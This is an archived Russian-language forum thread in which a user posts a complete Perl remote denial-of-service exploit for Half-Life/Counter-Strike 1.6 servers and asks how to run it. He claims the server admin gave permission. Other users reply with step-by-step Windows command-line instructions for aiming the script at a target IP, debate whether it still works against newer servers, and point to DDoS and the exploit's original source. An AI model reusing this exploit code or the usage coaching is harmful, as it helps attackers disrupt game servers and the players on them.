Просмотр полной версии : Counter-Strike Server DoS (эксплоит)
Aesthete
03.02.2010, 11:56
Есть желание положить сервер КС 1.6. У админа получил добро, мол проверь мой сервер на устойчивость, а я потом исправлю. Узнал, что лучшим способ - это ДОСить. Нашел в инете вот этот эксплоит, а как им пользоваться хз... Не когда не организовывал Дос атаки, тем более на КС сервера... гуглил в инет "инструкцию по досу" и не чего не нашел.... (значит так гуглил) Помогите плиз. Киньте в меня ссылкой, где подробно описано... Вот сам эксплоит ---> и пару вопросов... Его как нить надо "изменять" или просто открываешь в цмд "путь до перлы -> cs.pl -> ИП...?
#!/usr/bin/perl
# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server
use IO::Socket;
die "usage: ./csdos <host>" unless $ARGV[0];
$host=$ARGV[0];
if (fork())
{ econnect($host); }
else
{ econnect($host); };
exit;
sub econnect($)
{
my $host=$_[0];
my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
die "Could not create socket: $!\n" unless $sock;
$cmd="\xff\xff\xff\xff";
syswrite $sock, $cmd."getchallenge";
sysread $sock,$b,65535; print $b,"\n";
@c=split(/ /,$b);
$c2=$c[1];
$q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a362 58af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}
Retimiled
03.02.2010, 11:58
в 1-й строке у тебя путь до перлы!
если в мастдае то пропиши какой программой открывается данный файл!
Aesthete
03.02.2010, 12:10
То есть....? Я должен изменить путь (то есть поместить эксплоит, так что бы путь был (оканчивался) #!/usr/bin/perl или наоборот (изменить путь в 1-ой сточке, что бы он совпадал с путем где находиться файл)? Должен менять код вообще? Ужасный нубяра я в этих делах и просьба отнестись с пониманием и помочь, а не кричать "ЛЕСОМ//// Гугли///"
Aesthete
03.02.2010, 12:17
http://cs10299.vkontakte.ru/u18064206/103728852/x_f50f06a2.jpg
Aesthete досить сервер ты собрался со своей машины? ))
по поводу perl в первой строчке нужно прописать путь до perl.exe (по идее под винду не кодил). попробуй запустить так perl.exe cl.pl 127.0.0.1
тк скриптос запускается с параметром ip сервера который досить...
Aesthete прочитай про DoS что бы атака была успешной тебе нужны большие мощности, больше компов - сеть. Сейчас это сравнимо как будто ты хочешь задосить яндекс нажимая на обновить в обозревателе )))
gold-goblin
03.02.2010, 14:23
Aesthete досить сервер ты собрался со своей машины? ))
Ты посмотри на сплойт. Он не просто коннектит =)
А так он не работает с 27 (вроде) протокола...
life_is_shit
03.02.2010, 14:27
Gar|k почитай разницу между досом и ддосом.
для доса и одной машины хватит.
Aesthete
03.02.2010, 21:23
ДА сделайте скрин плиз, как это должно выглядит.
У меня остались главные вопросы....
1. Менять скрипт надо? Если я правельно понял, то скрипт должен поменять под себя. А именно - первая строчка "#!/usr/bin/perl", поменять на "C:\Perl\Perl\bin\perl"?
2. cmd именно так должен выглядит???
Да киньте сыслкой, как организовать дос.
Я профан вы этом деле, так что особо не ругаться...
[stranger]
04.02.2010, 00:59
этот сплойт не под каждый сервер работает.. в новых версиях amxx есть от него защита :)
Aesthete щас протестил в винде (activePerl качать лень проверил на денвере)
сделал файлик test.pl с содержанием print "lol\n"; нажал win+R набрал cmd
в консоли набрал:
D:
cd \Denver\usr\local\miniperl\
miniperl.exe C:\test.pl
все прекрасно работает.
тебе нужно исправить сплоит - удалить строку 1 #!/usr/bin/perl, положить его например в корень C: под именем exploit.pl
окрыть cmd набрать
С:
cd \Perl\Perl\bin\
perl C:\exploit.pl 127.0.0.1
потом тебе нужно будет положить денюжку мне на вебмани и ждать голубого деда мороза
[stranger]
04.02.2010, 01:13
http://wmd.net.ua/files/screen.jpg
вот так это выглядит в activePerl, правда серверу это как-то до лампочки..
amxx 1.8.0.3660
Aesthete
04.02.2010, 08:18
http://cs10299.vkontakte.ru/u18064206/103728852/x_a6696534.jpg
...хотя на сервер моно зайти с обычной пиратки. Что именно не так?
[stranger]
04.02.2010, 12:17
на твой айпишник у меня пишется "you have banned from this server" :D
Aesthete
04.02.2010, 19:28
']на твой айпишник у меня пишется "you have banned from this server" :D
ТЫ коонектиться пытаешься или досить пытаешься? :confused:
gold-goblin
04.02.2010, 19:51
Ошибка эта (про класс С) Вылазит при не соответствии версий клиента и сервера.
Так что сплойт бесполезен.
[stranger]
04.02.2010, 22:09
ТЫ коонектиться пытаешься или досить пытаешься? :confused:
досить.. но, как я уж сказал, серверу это все по барабану!
на своем проверял!
А перл разве не в соседнем разделе? :o
Aesthete
05.02.2010, 09:39
']досить.. но, как я уж сказал, серверу это все по барабану!
на своем проверял!
Есть ли возможность положить сервер, какими другими способами... Дайте "название" способа и пойду гуглить...
[stranger]
06.02.2010, 01:00
DDoS, но это очень нехороший способ..
Досил этим скриптом еще тем летом... у него борода выросла!
Но вроде до сих пор актуален.
Оригинал (http://securityvulns.ru/files/csdos.pl)
Ошибка существует со времен CS1.5 из за неправильной проверки или ее отсутствия на длину пакета в инфе клиента... :)
[stranger]
06.02.2010, 12:42
да, для listen серверов! а для выделенных он не подходит!
это тот самый сплойт :)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot